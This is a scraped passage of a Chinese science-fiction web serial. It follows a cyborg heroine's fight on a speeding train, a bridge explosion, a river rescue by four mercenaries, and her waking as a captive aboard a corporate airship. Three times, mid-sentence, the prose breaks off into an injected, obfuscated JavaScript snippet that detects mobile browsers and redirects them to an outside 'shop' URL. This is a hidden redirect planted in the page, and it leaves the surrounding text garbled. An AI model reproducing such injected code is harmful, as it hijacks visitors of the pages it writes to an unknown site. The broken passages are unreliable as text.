“不是你刚才说的吗?你刚才不是说,这样就两厢抵过了,然后我就寻思,身体健康可是大事,如果落个后遗症,总不是好事,然后我就给他也来了一针,然后就这样了呗。”马延仙嘟嘟囔囔地说。 关铁震无话可说。他最后看了一眼玉明珑身边的那条龙尾。 “算了!”他正要再说什么,人却呆住了,张大嘴巴,望向窗外。 胖球突然从让娜的手中挣脱,飞了出去。 ### 红灯依然闪烁,警报依然长鸣。 但枢机主讲脚下的地面,并没有如他想象中那样裂开。两节车厢之间的车钩仍然紧紧连着。 “原来有安全锁。”周向青松了一口气。看来只扳动拉杆不能让两节车厢直接松开。 程光颢点了点头,摊开手掌。“看来我把事情想的太简单了。” 之前用于隔开周向青离子刀刃的红色的能量在他手心力场的作用下,逐渐扭曲、旋转,形成一股小小的风暴。 他把另一只手覆了上去,那风暴逐渐化成一条红色的光柱,在他的双掌之间上下左右的晃动。枢机主讲双手一抖,那光柱便向他的脚下射去。 周向青抢上一步,出刀上撩,将那道光柱切为两段。 但光柱断开之后,那股动势却并未消除,而是顺着程光颢手心的方向,将下面的地板溶出两块大洞。 孔洞下露出了车钩的位置。 周向青出刀疾扫程光颢的双眼,程光颢后退相避。周向青趁这这一退,发起一连串迅猛的攻击,刀刀不离程光颢的头顶,一击不中便就撤回,紧跟着发起下一击。她要把程光颢逼出车厢连接的位置,让他无法轻易切断车厢之间的车钩。 但程光颢知道她的意图。他守得滴水不进,同时也是丝毫不退。周向青右手走强、左手走弱,意图在于让自己能够从程光颢的防守中挤到他身子的左侧,从而把他卡出这个位置。 但程光颢抓住这个机会,右手虚握,将那红色的能量风暴捏成一个球形,拍向周向青的腰际。周向青旋身后退,同时反手斩向程光颢的右手。但程光颢的右手竟是一个虚招,他趁周向青撤步的空隙,左手向着脚下的车钩一拍。 红光一闪,车钩被程光颢切断了一大半,只剩一点点还连着。但这点钢材显然无法承受两节车厢之间的拉力,它震动着、呻吟着,被两节车厢慢慢拉长,即将断开。 周向青见状急忙向特等车厢跃去,但程光颢对着空中的周向青拍出左掌,力场吹得她不进反退。 程光颢得意一笑,正要出言讥讽,却不料背后突然有人大喝一声:“我去你的吧!” 姜原一个助跑跳起,接着机械爪抓上车顶一荡,把自己的身子像秋千一样甩出,双脚一起踹在程光颢背上。程光颢踉跄几步,撞回他自己的车厢。程光颢停下身子想要回头,但周向青哪能让他那么容易就走,直接一刀横扫程光颢的小腿。他只得矮身伸手,用手套接下了这一刀。 姜原喊道:“他脚上好像没装东西!向青,攻他下盘!” “用不着你废话!”周向青一边骂了回去,一边逮着程光颢的腰腿猛砍。程光颢只得不断招架,一时摆脱不开。 嘣的一声,车钩彻底断裂。失去车头提供的动力,特等车厢和枢机车厢之间拉开了距离。眼见两节车厢逐渐分开,程光颢双眼中杀气大起。 “事到如今,也不要保留什么证据了。”他咬牙切齿。 “来呀!”周向青挑衅道。 程光颢伸手撕掉他另一半的袖筒,露出左肩。他两个肩膀上的排气管同时喷出一股蒸汽,指示灯也亮起红光。他左手心中的能量场陡然增强了两个量级,逐渐凝成一个越来越大的红色圆球;同时右手一举,力场将周向青向他的手中吸来。 周向青重心后移,但她的身体仍然无法抗拒地向前滑去。 她见向前的势头已经无法控制,索性主动跳起,双手举过头顶,放出离子刀刃。就在她的脖子即将落入枢机主讲掌中的时候,猛地劈将下来。 枢机主讲只得改变了攻击的方向,左掌推向周向青的刀刃。 红蓝两股能量撞在一起,发出高压电般的吱吱响声,离子流向雨点一般飞溅,同时刀刃的尖端也在咬开由力场束缚的能量。 “去死吧!”枢机主讲吼道。他的肩头又喷出一股炽热的蒸汽。 轰然一声,全部的能量倒喷向周向青的手腕。 痛。剧痛。 她是第一次感到这样的痛。 周向青望向剧痛的位置。她的右手已经在爆炸中烟消云散了。只有几条线路在肘部的切口处,时不时冒出几朵火花。 虽然她在最后一刻抽出了左手,但她身上的能量已近乎消耗殆尽。 但枢机主讲也在刚才松开了右手的力场。似乎他的改装身体也需要一点时间来恢复。 怎么办? 她不知道。 姜原在对面的车厢中望着她。 他似乎在喊着什么。但她听不到。 在这几秒钟里,两节车厢已经拉开了几米的距离。他们之间已经全都是风声了。 她想回到姜原那边去,但程光颢就挡在他们之间。而且他的眼神中已经没有了之前的游刃有余,只是冷酷,和怒火。 怎么办? 程光颢已经再度举起右手。 她想要逃跑。但是已经无力逃跑。她挣脱不了对方的力场。 她想要反击,但是已经无力反击。她的光刃已经无法启动了。 程光颢的手指已经再度捏上她的喉咙。 “再见了,卡比利亚的圣女。” 程光颢说。他的左手再次亮起红灯,而排气孔也喷出一股气体。 许多条黑色的小蛇从周向青的护甲中探出头来。那是齐明羽铁臂的残余,从圣女草中培育出来的仿生肌肉纤维。那一条条小蛇弓起身子,向程光颢身上跳去。程光颢大吃一惊,他不及细想,他发着红光的手直接按向周向青的额头。 但那些黑色的小蛇已经钻进了枢机主讲手臂上的排气孔。他感觉到自己的手就像烧开的锅炉一样滚烫。 程光颢忍着剧痛,把手一寸寸地伸向前方,但就在那个发着红光的能量球即将触及周向青的眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182000|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心时,他肩头的指示灯熄灭了。 他掌中的力场一瞬间消失,无法再约束那股能量流如何涌动。 在他的手臂中一瞬间形成了一股负压,把那红色的能量流吸进了掌心的圆孔。 ### 赛德离开驾驶室,返回枢机主讲的车厢前,透过旁边的小窗向外看了看。 列车应该是在减速了,他似乎都能感受得到微微的加速度。 他开心地推开车厢门,想要把这个消息告诉周向青,但他看到的却是程光颢正一手掐着周向青的咽喉,同时另一手发出红色的闪光。 然后枢机主讲的左臂末端迸发出一股炽热的激流。 他的手臂一瞬间碳化、然后燃烧殆尽。金属的植入管道因为高热而融化,失去了原有的形状。 程光颢惨叫着,松开了周向青的喉咙。 赛德急忙奔了过去。 此时特等车厢已经渐渐拉开了十几米的距离。姜原正在另一边,焦虑地望着这边的情况。特等车厢的速度越来越慢,这个距离只会越拉越大。 赛德把周向青从地上拉了起来。 周向青正在深呼吸。她已经消失不见的右手痛得要命。 “你就这样跳过去吧,”赛德望着姜原说,“你应该跳得过去。跳过去以后,姜原会给你刹车的。” 周向青没有答话,她看了看赛德,深深地吸气,然后深深地呼气。 “我已经劝说过那两个驾驶员了。他们马上就会停车。”赛德说。 那边的姜原正疯狂打着手势。他指着前方。 列车的车头已经驶上大桥。 “呵。哈哈哈哈——来不及了,已经来不及了。而且,他们根本不会听你的,你只算个屁!哈哈哈哈!”程光颢的声音因惨叫而有些嘶哑。他笑了一会,靠在车厢壁上,因疼痛而喘着粗气。 “你就这样跳过去吧。”赛德说。“然后我再去跟驾驶员们谈谈。” 周向青后退了几步。 她开始助跑。 她一跃而出。 “混蛋!别想逃!”程光颢向她伸出右手。他右臂的指示灯亮了起来。 但在他射出力场之前,他的手,就离开了他的手臂。 鲜血从他的断肢处喷出。 那一剑又快又狠,在截断枢机主讲的手后,还深深嵌在车厢的墙壁内。 赛德松开了折刃的剑柄。 列车的确没有停。司机们并不相信他。车大概也不会再停了。 他望着空中的周向青,但心中却是今天早晨,那朵鲜花盛开时的样子。 ### 周向青的腿蹬开车厢的地面,将整个身子投向空中。 但这段距离实在是太远了。 而且她也失去了绝大部分能量。她的耳朵在响,她的脑子在一跳一跳地痛,她的身体从刚才就一直在报警。 她的身体画出一道弧线,然后开始落下。 但她距离对面的车厢还有五米。 姜原对她伸出了机械爪。 还有两米五。 她的后方亮起了火光。 冲击波卷着烟尘,以及车厢的碎片向她冲来。 她的左手抓住了机械爪。 但她的身子继续下落,她的身下是不断倒退的铁轨,断裂的铁轨,以及正在崩塌的水泥块。 车厢、姜原、和她,都已经离开了桥面。姜原也无法站稳,从车厢中飘了出来。他的一只机械爪抓着车厢底部,另一只机械爪连着周向青。 他们就一同在空中漂浮。不,是下坠。 她已能感觉到越来越大的风压。 嘟—————— 她的头顶上方响起了跟昨晚一样的汽笛声。 什么东西勾住了车厢。然后姜原停住了。然后她也不再下落了。 他们甚至开始晃晃悠悠地向上升起。 她望向上方。 是昨晚的飞艇。它不知何时,竟然出现在这里。居然深入了统修会的腹地。 “是那些人!”周向青惊呼道。 “是,没错。是公司那帮人。”姜原苦笑了一下。“你先顺着我爬上去吧。我已经有点撑不住了。我甚至拉不动你。” 周向青用双脚夹住爪钩,单靠一只左手爬过姜原的身体。 她看到姜原背后大衣的裂缝中一直闪着火花。那是之前齐明羽那一刀造成的短路。她踩着姜原的肩头,一跃攀住了车厢底部,然后弓起身子,一只脚探进车厢。她整个人爬上去之后,回过头,对姜原伸出手来。 姜原把他的机械爪甩了过去。只是那机械爪才到一半的时候,停住了。 抓在车厢底部的爪钩打开松脱,姜原还没来得及说什么,便掉了下去。 周向青一时呆住了。 姜原的身影越来越小,最终变成了下方的长河中,一朵小小的水花。 此时有人轻轻拍了拍她的肩膀。 周向青茫然回过头去。 在她面前的是一个头发油腻,戴着黑框眼镜的男人。他的眼镜腿断了一条,用胶布歪歪扭扭地缠着。 “欢迎来到可控自动化军工复合体的移动代表处。现在,就请你先休息一下吧。”那人说完,伸手在她眼前晃了晃,然后在她耳边打了个响指。 周向青眼前一黑,晕了过去。 59.启明号列车17 在胖球从破开的窗户中冲出的时候,车厢内的所有人也都被他们看到的东西吸住了目光。 一点白昼都可以看到的亮光从汋河大桥上方亮起,进而变成一道冲天的白光。整个车头和车厢也被爆炸产生的气浪撕得粉碎。气浪裹挟着碎片和砂土,劈里啪啦地打向他们,大桥开始坍塌,另一节不知为什么断开的车厢正坠入河中。 “原来那就是他为啥让我们停车。”关铁震小声道。“那家伙把车炸了。” “还好我们刹车了。不然肯定得受波及。”白少俊小声说。 然而此时,一声悠长有如鲸鱼鸣叫的声音在低空响起。 一艘巨大的飞艇出现在大桥上空。它抛下长长的钓线,勾起一节刚从铁轨上冲入河中的车厢,然后带着它一同飞向高空。而一只黑色小鸟紧追在它的后面,一同消失不见。 “它怎么在这里?它怎么能在这里?”关铁震一掌拍上车窗玻璃。 “你别吵了,耳朵疼!”郑小楼喊道。 关铁震并没停下。“我当时还替他们解释,不给我们安排撤退方案,是上面有苦衷。但这!这!这算什么?得是我们可以参加空投,但不值得回收是吧?” “得了吧。作为配合作战的一环,咱们这种最底层的外包单位根本没有被专门回收的权利。”白少俊道。 “所以它过来就为了专门搞走那节车厢?它图什么?” “我怎么知道。反正不是我们这个级别该知道的东西。我们还是带上该带的东西,然后走吧。我可不想一直留在这儿,等支援的骑士大军赶到。”白少俊冷冷地说。 该带的东西——吗。 “你去把我们那个袋子拿来。”关铁震对郑小楼说。 “往生极乐。”马延仙在一旁叹道。 “至少他死得没什么痛苦。是他揽的活,他自己死了。也算是得其所哉。”白少俊说。 此时郑小楼已把那个大旅行包拿了过来。关铁震和白少俊把王西凤抬了进去。马延仙默默站起身,来到旅行包旁边。 “愿你来生能实现自身的价值。”关铁震对王西凤说。 “愿你来生能实现自身的价值。”其它三个人一同重复道。 他们四人下了车。 关铁震和白少俊一人提着一边包带,一路把王西凤的尸体从坡上抬到水边。马延仙和郑小楼则掀开伪装的树枝和灌木,把一艘带防雨篷的汽艇推到水边。这还是王西凤藏在这里,用于完成计划后撤退用的。 白少俊启动发动机,让螺旋桨缓缓推开水流,把小船送入河面中央。然后他们把装着王西凤的旅行包放在船尾,一同将提包推入水里。黑色的旅行包顺着水流半沉半浮地向远方飘去。 关铁震强笑了两声,道:“你们也用不着这么沉默嘛。我们这一趟就权当是旅游了。反正四个人都还活着,就总有接下一单的机会。” “至少可以在简历上写,曾经参与特大秘密行动,并成功生还,不是么。”白少俊挖苦道。 “对啊。至少丰富了你的简历。是不是,小郑?”关铁震说。 但郑小楼却没有回答。她盯着远处的水面,然后喊道:“那里有人!” 那边的确是有什么东西在。水花翻腾,似乎是一个人挣扎着想要让自己的头部露出水面。但河水也在不断把他推离岸边,他挣扎的力气越来越小了。 关铁震打开发动机,拨动船舵,让小汽艇向那人的方向靠近。 果然是一个溺水的人。白少俊趴在船边,一把揪住那人在水面上的衣领,把那人拖上船沿。小船猛地一歪,差点翻过去。郑小楼和马延仙急忙靠到另一侧,好不容易才稳住小汽艇。 那人挣扎着吐出好几口水,趴在船边直喘粗气。 “哟,果然汤元就得在水里捞啊!”关铁震咧开大嘴,呵呵地笑了。 姜原在落入水中后,差点被自己背后的那套机械爪直接拖到水底。他憋着一口气,扯开大衣扣子,脱下装备,把那个装着世界政府文档的盒子塞进衬衣里,然后拼尽全身的力气踩水。但他的衣服紧紧绷在他身上,很快吸干了他的体力。缺氧让他没办法再协调自己的动作,只是凭着本能不断挣扎。 就在他的力气几乎要耗尽的时候,被拉到了关铁震的船上。 他吐出两口水,喘着粗气,让自己咚咚猛跳的心脏平复下来。 周向青呢?这是他恢复理智后的第一个念头。他抬起头寻找那艘飞艇的踪迹,但它早已升上天空,消失在蓝天和白云之间了。 “你怎么掉到这种地方来了?你不是应该在车头执行任务的吗?”白少俊阴阳怪气。 姜原喘着气,做出一副仍未恢复的样子,并不回答。他很感激这些人救了自己一命。毕竟他的确没去做自己答应要做的事情。 “小白,你问那些干什么。反正事情都过去了。来,你先把衣服脱了,要不然肯定会感冒的。”马延仙凑上前来,伸手去脱姜原的衣服。 姜原一愣。 装有文档的那个盒子还在他的衣服里。鼓鼓囊囊的。 但他不能躲开。他不想引起对方过度的注意。姜原伸手解开自己衬衣的扣子,边说:“我自己来吧。你们有毛巾什么的吗?” “多亏你,我们现在什么都没了。”白少俊道。 姜原掏出装着文档存储器的青黑色小盒,随手放在自己身边,然后摸出了他和周向青的两枚银蛇戒指,图案朝手心,套在左右手的食指上,这样它们就不会启动了。他把衬衣伸到河里拧干了水,又脱下背心、鞋袜和裤子,一件一件拧干。 郑小楼把脸偏向船头,看着劈开的哗哗流水。而关铁震则颇不见外地盯着看他脱衣服的全部步骤。等姜原把衣服都拧好晾在一边,关铁震才说:“喂,小兄弟。看来咱们今天都不太顺利啊。” 的确不太顺利。千算万算,也不可能算到公司的飞艇会在此时,冒着被统修会发现的风险再度出现。姜原只能猜测,周向青是被飞艇带往公司了。这条路实在是有点难走,但如果他想要知道弗莱的秘密,公司还真的是非去不可。更麻烦的是,在如此紧张的边境局势下,他一时半会大概没办法找到一条能快速前往公司的渠道。真的是太不顺利了。 姜原答道:“抱歉,我没能进到驾驶室。” “你是应该抱歉。你当时干什么去了?”白少俊说。 “驾驶室里有人守着。我没进去。” “哦——是吗?” “得了吧。咱们这次一无所获,也并不完全是因为他。那个穿红衣服的教会人,你招呼得住吗?而且再加上那个油头眼镜男,如果不是他,恐怕我们光对付那些骑士都要半天。而且最后要不是顾忌他,我也不会决定撤退。”关铁震说。 红衣服的教会人,是枢机主讲吧。而油头眼镜男——那家伙居然跟他们一起对付骑士了吗?难不成—— “对了!你在餐车的时候,不是还跟他很热络地聊天吗!”郑小楼突然叫道。 “你说什么?你们两个认识?”白少俊盯着姜原的脸。 关铁震闻言,脸色也沉了下来。 姜原却没想到当时随口聊的几句天,会在现在给他闹出这么大的麻烦。他急忙为自己辩护道:“我们只是上学的时候认识,毕业以后各奔东西,也很少联系,没什么交情。他在餐车里请我帮个忙,但我又不知道他在干什么,所以就我没答应。别的我就什么都不知道了。” “骗人吧。他那么厉害,能让你跟他合作?不过还真的说不定。这该不会就是你没去车头的原因吧。他让你干什么?”白少俊道。 “我不太清楚。他没说。” “哦——他没说啊。只可惜我不太相信你呢。”白少俊那张黑脸皱了起来。 “他真的什么都没说。你这样逼我没有什么意思。”姜原坚持道。 “但我就是想逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186596|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你呢?” “算了,小白。事情已经结束了。纠结这些没有意义。反正我们也就是浪费了一点时间一点钱,我们四个人都还在,那结果就是好的。”马延仙说道。 “的确。纠结这些没有意义。”关铁震转向姜原,说:“我给你带到最近的城市,你就在那里下船。山高水长,后会无期。” 姜原点了点头。 小汽艇继续向下游驶去。 “但我们价值评级的事怎么办?”郑小楼突然问。“不就是因为评级要下调了,才接的这个活吗?又耽搁了这么长时间,也赶不上找其它事情做了。” “嗯,这个嘛,车到山前必有路,船到河边必有水嘛。”关铁震做出一副无所谓的样子哈哈大笑,但双眼只是看着船尾溅起的浪花。 马延仙从衣襟里掏出一根皱巴巴的纸烟叼在嘴里,然后又摸出一个打火机,用手遮着,咔哒咔哒地打着了火,凑上去深深吸了一口,然后喷出一股烟雾。“就让小王发挥一下余热吧,我们可以把之前的亏损都算在他身上,盈利不行,平账还是可以做到的。这样能至少保证评级不下调。” 关铁震叹了口气,说:“这样不太好吧。我们靠他接了这个活,活没弄成,还要……” “那有什么。天地不仁,以万物为刍狗。小王被鱼虾吃掉,鱼虾又被我们吃掉,这就是自然的规律。我们今天是在利用小王的名字,但上面那些人何尝不是在利用我们的名字?不管是他们,还是我们,也总有一天要被打死,然后被其它人分而食之。没什么好不好的。只是顺应自然规律罢了。” 姜原倒是没想到这个老人会说出这样一段话。这老人在列车上的时候给他的印象是一个慈眉善目的爷爷,但看来是他太武断了。不过他们既然害怕价值评级下调,那么一定是在米卡那边上市了的。 他想到此处,突然灵光一闪。 对啊!他可以跟着这些人到米卡去! “不管怎么样,都回去再说吧。我还得再想想。”关铁震说。 没想到,反而他的性格最温和。大概从他身上做文章是最容易的。姜原想到此处,便问道:“你们打算回哪里去?” “回哪里?当然是回申宁了。我们的小工作室就在那边。这次跑了这么远的路,空手而回,说起来也怪丢人的。”关铁震苦笑道。 “申宁?就是那个……”姜原记得那是米卡的总部所在地。申宁不仅是米卡总部的所在地,而且恰好就在汋河的最下游。船过了申宁,就是海上。如果他们沿河顺流而下,那么通过石峡大坝之后,再过两天就能到申宁。 “啊,是。就是那个雾都。一年四季都是大雾弥漫。不是起雾就是下雨,是个烦人的地方。”关铁震并不知道姜原的心思。 他才不关心那里有没有雾。周向青要追踪的“那个人”给出的线索就在米卡,而且他或许可以在申宁找到可以破解世界政府文档的设备。想到这一点,姜原决定,他跟定这些家伙了。这些人或许会很有用处。 但如果他直接说要去申宁,只怕会让这些人提高警惕——不,这些人真的有叫做“警惕心”的东西吗?虽然他说的谎刚刚被他们抓住,但那只是偶然而已。他有信心利用这些人,反正他还是给得起一点好处的。 “正好。我也要去申宁。”他说。 白少俊一听,不快道:“啊?你干什么非得跟着我们?” “因为我真的要去啊。” “你刚上车的时候,不是说你是从环运城来,去石岗旅游的吗?你现在又说要去申宁。你去申宁干嘛?该不会是那个家伙给了你什么任务吧,啊?” “没有什么任务。因为这一次,我是真的打算加入你们这个什么,‘四大恶人’。我挺喜欢你们的。而且,我大概可以给你们提供一些避免价值评级下调的东西。” 冷风吹来,姜原不由得打了个寒颤。 但他的心还是很热。他还有机会。 60.启明号列车18 她漂浮在黑暗中。 所有的光都被那漆黑而粘稠的物质所吞噬。 这一片黑暗并不是世界的终结,因为她仍然清晰地意识到自己的存在;但也不是世界的开始,因为她仍然清晰地意识到自己的存在。 她居于一条无限向两端延伸的线的中间。没有开始,也没有结束。 没有天,也没有地。 只是黑暗的混沌。 嘟———— 远方的黑暗中响起了鲸鱼的叫声。那叫声感觉上很远,却又很近。似乎远在天边,似乎又近在眼前——只是她什么都看不到。 但她能感觉到。那漆黑而粘稠的物质震动起来,把她推来推去,在其中来回旋转、翻滚。她更加分不清什么是上,什么是下,自己到底面朝什么方向。 嘟———— 那声音环绕着她。似乎有什么东西从她前面游了过去,围着她迅速转动。 居然真的有东西活在这奇怪的地方吗? 她摆动脑袋,试图跟上声音的方向。 嘟———— 那声音越来越大,越来越近。 即便面前所有的只是黑暗,但她仍然下意识地睁大了眼睛,等待着。 一个巨大、圆圆的黑影从黑暗中向她冲来。 她不由得举起了手。 然后她听到了自己的右手被尖锐的牙齿咬碎的声音。 周向青猛地坐了起来。 她右边的手肘空荡荡的。她的身体在这一夜之间,居然自己把那个切口堵住了。但她仍然觉得自己的右手还在那里,她甚至觉得自己可以用它抓起什么东西,她还觉得仍然在隐隐作痛。但理智告诉她,事实就是事实。 她的头晕晕的,身体也酸软无力。她想大喊,想大叫。 “嘎——”她耳边响起一声细细的鸟鸣。周向青转过头,却见到一只八哥居然站在自己枕边,正歪着头,用圆圆的小眼睛望着她。 “胖球!你怎么在这里!”她虚弱但有点欣喜地叫道。胖球回了她一声,然后啪啦啦地飞到了栅栏上。此时她才注意到,一圈粗粗的铁栅把她围在大概八九平米的空间里。这个大型鸟笼里,除了她身下的一张床和角落里的马桶外,什么都没有。 她居然被关起来了。 周向青摇摇晃晃地站起来,踉跄几步,撞到铁栅边,用力摇晃了几下栅门。栅门锁得死死的。如果是平时,这种东西自然拦不住她,但现在她站着都费劲,更遑论从这里挣脱了。 一个穿着迷彩服的小兵闻声走来。他看到周向青,就一溜烟跑走了。 关押她的人,一定就是昨天那个家伙。 那家伙是谁? 还有,这里是哪里? 周向青把上下左右都看了一遍。她的上方并不是屋顶,仍然是铁笼。像这样的铁笼,在这里排成几排,大概加起来有二三十个。可见这里本就是用于关押什么人的地方。在铁笼之上是高高的顶棚桁架,全部涂成了灰色。这地方空间还挺大。她似乎总能够听到嗡嗡的机器运行声,就像她之前工作的废坑一样。 脚步声响,有两个人从另一边来了。一个是刚才的小兵,而另一个人正是昨天的那个家伙。他穿着皱巴巴的商务套装,头发油乎乎的几天都没有洗,黑框眼镜的一条腿还歪歪扭扭的,像是被谁揍了一样。 “你好。”他站在栅栏前面,双手插在口袋里,像是马戏团的老板在打量自己的猛虎。他看到周向青身边的胖球,眉毛高高挑起,说:“我都不知道,你居然还带了一个小朋友。” “放我出去。”周向青说。 “可以呀。你只要做个保证,就可以。” “我才不会跟你保证什么事情。” “是嘛。看来我们之间是有一点误会。”那人挠了挠自己油腻腻的脑袋。 周向青不由冷笑了。“那这个笼子,也是误会?” “这是一点有必要的保护措施。当然,不是为了保护我,而是为了保护他们。怕你醒来后直接把他干掉了。”油头眼镜男拍了拍自己旁边小兵的肩膀。“我们并不是你认为的那种人。我知道教会对我们有一些夸大的描述,而且昨晚在市区的行动也有一点惊世骇俗,但我担保,只要你承诺不采取出格的行动,那我可以给你自由,甚至是提供一些福利。”那人的目光指向周向青的右臂。 周向青慢慢侧过身子,把她的断臂藏在身后。 她才不信。这一定只是谎言。就跟枢机主讲的茶会一样,只是让她放下提防的技俩。 但她现在又能怎么办呢?只是呆在这个笼子里没有任何好处,反正只是口头答应而已,只要回复体力,那之后还不是随便她怎么办。 “如果要我答应,就……先给我弄点吃的。” “当然。你想要什么?钨?铬?石墨烯?还是什么东西?什么都可以准备,只要我们现在有。” “我有自己的配方。”周向青说。“然后,再给我的八哥也找点吃的。” 那人从自己的胸口抽出一个小小的本子,上面还夹着一支笔,递进铁笼。周向青看着对方毫无防备的手腕,心里涌起一股趁现在把他拉过来,掐住脖子的冲动。她犹豫片刻,还是接过了纸笔,回到床边,用左手草草写了一张物料单,递了回去。她从没用左手写过字。但仍写得很工整。 那人看了看上面的文字,沉吟道:“嗯——磺酸、重油……相当传统的配置。你是第三代的?” “什……什么?”周向青一脸茫然。 “没什么。是我多嘴了。”那人打了个响指,向旁边伸出手,那小兵赶忙递过一柄钥匙。他亲自开了锁,拉开栅门,又说:“昨天的自我介绍可能有点不太正式。我大名叫柳怀石,是可控自动化军工复合体,MICCA,俗称米卡,旗下子公司墨华止的执行总裁,同时也是此次‘播种’行动的,特别观察员。” “你这头衔也太长了。”周向青皱眉道。她现在脑袋里还是闷闷的。 “叫我柳怀石就好。”柳怀石看着周向青病恹恹的脸,又说:“你先就在这里休息一下吧,我去给你配料。马上回来。” 柳怀石没有锁门,就带着那个小兵匆匆离开了。 周向青忍不住走出铁笼,看了看她身处的空间。这里像是一间库房,有许多垫板和绳索都收在角落,还有两只木箱靠墙放着。她所在的铁笼只是这间库房中最微不足道的一个部分。库房的两侧装着巨大的铁门,但如今都关得死死的。只有角落里的一扇小门半掩着,大概那里就是柳怀石出入的地方。 ……要从那里出去看看吗? 周向青犹豫片刻,然后回到了她的床上。 又过了一会,脚步声靠近了她的铁笼。听起来只有一个人。 是之前的小兵。他把手中的托盘放在床上,然后说:“柳观察员有事要忙。他说请你恢复之后随意参观。” 然后他径直离开了,没有任何要看守她的意思。 盘子里是两支能量棒。还有一杯冷水,一个苹果,一枚鸡蛋。 能量棒跟她自己在小房车里冻的细长条不同,这两支方方正正,更像是缩小的砖块。周向青拈起一个,纳入口中。这种形状比她做的溶化更慢。 但现在慢一点正合适。 因为她也有事要想。对方似乎并无控制她人身自由的意思,而且还为她提供能源补给,也不担心她有可能的反抗。他们不在乎,或者说,他们真的相信她的保证。 她猜不透对方有什么目的。一般来说,有予必有求。 周向青含着能量棒,慢慢把鸡蛋剥开掐碎,又把苹果掰开。胖球马上飞了下来,迫不及待地啄了一大块。它也好久没有吃上东西了。 对方到底是为了从她身上得到什么东西?打听统修会的情报?还是关于那个人的消息? 抑或是……那份文档? 但那份文档目前在姜原身上,跟姜原一同掉进河里了。她不认为他会死。胡小姐不是说,他运气很好么?姜原看上去也不是深思熟虑的类型。可能他就是靠着运气活到了现在。说不定运气这次仍然会站在他这一边。 赛德就是运气不好的那一类人。程光颐也是。 在别人的计划中死去,就是没有运气的人的结局。 她呢? 周向青渐渐烦躁起来。她把尚未融化的部分嚼碎,吞下肚去,然后把另一根也大口大口地吃了个干净,最后把那杯冷水也灌进肚子。 热量逐渐从她的肚子里散发出来,涌向她身体的每一个角落。 她撇下大快朵颐的胖球,从那扇小门走了出去。 一出库房,耳边就满是呜呜的风声。她脚下简单点焊的花纹钢板不断抖动,她不由得紧紧抓着身边的栅栏,走向面前无尽的天空。她所在的货舱就在飞艇吊舱的正中央的上部,她的头顶就是浅蓝色的气囊。就是那巨大的气囊,才支撑着飞艇在高空飞行。 她还从未来过这么高的地方。这里比胖球能飞到的地方高得多,雪白的层积云从她脚下一直向远方展开,一浪又一浪,像划开的波纹。右边射来的阳光要比地面上暖得多,舒适且使人心情平和。 她望着面前的云海,不知静立了多少时间。如果没有一个山尖从云中探出头来,她险些就忘记了陆地的存在。这趟旅程已经让她失去了一只手,但她也并不是一无所获。如果她一直留在那个废坑旁边,大概永远不会看到这个世界是什么样子。也不会像现在一样,站在一条巨大的鲸鱼身上,在天空之海中漫无目的地遨游。 而她自己也越来越习惯这具身体的功能,只可惜,三年前的她,仍然埋葬在皮肤下的某个地方。 嘟———— 一声悠长的汽笛声把她从那些遐想中拉了回来。 取而代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190441|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之的是最近的记忆。 从天而降的火光、尖叫,还有泪水、尸体和瓦砾。 周向青松开了握着栏杆的手。 周向青沿着飞艇前进的方向走过几个房间,沿着扶梯下去,听到驾驶舱隔壁的艇长室中有人正在对话。 “我明白你的意思。她有她的价值。但上面也已经拿到了这次行动的简报,也听到了关于‘圣女’的消息,甚至已经看到了昨天早上的视频。他们给出的命令是尽快返航,参加审判。那么我就无权做额外的事情,不论你怎么说。另外,我觉得也用不着我提醒你,董事会的态度是一贯而又明确的。想改变他们在这件事上面的态度,不太可能。” “你明白我的意思就好。但我现在是寻求你的建议,而不是让你跟我照本宣科说一些打官腔的套话。”这是柳怀石的声音。 “而我表达的就是拒绝。我来接你就已经是冒着被击落的巨大风险了。你是特别观察员,只有‘观察’是你的职责。这次如果不是对方内部出了问题,你真的能够把圣女搞到手?如果你真的想要建议,我的建议如下:完成自己分内的任务,不要管不属于你职责的事情。” “跟你真的没办法交流。告辞。”柳怀石推门从艇长室里出来,却看到周向青正在门外。他问:“怎么样,好点了吗?” “至少头不晕了。” “那你的鸟儿呢,怎么样了?” 听到这个问题,周向青一愣,没有回答。她没想到柳怀石会问及她的胖球。 柳怀石看到周向青的神色,便解释道:“毕竟仿生人和鸟儿的组合,蛮少见。那鸟儿是你养的,还是替别人养的?” 虽然柳怀石的态度很和气,但他的问题却很尖锐。周向青感觉自己被对方刺了一下。她回避了第二个问题,只是简单地说:“它挺好的。吃了饭,在休息。” 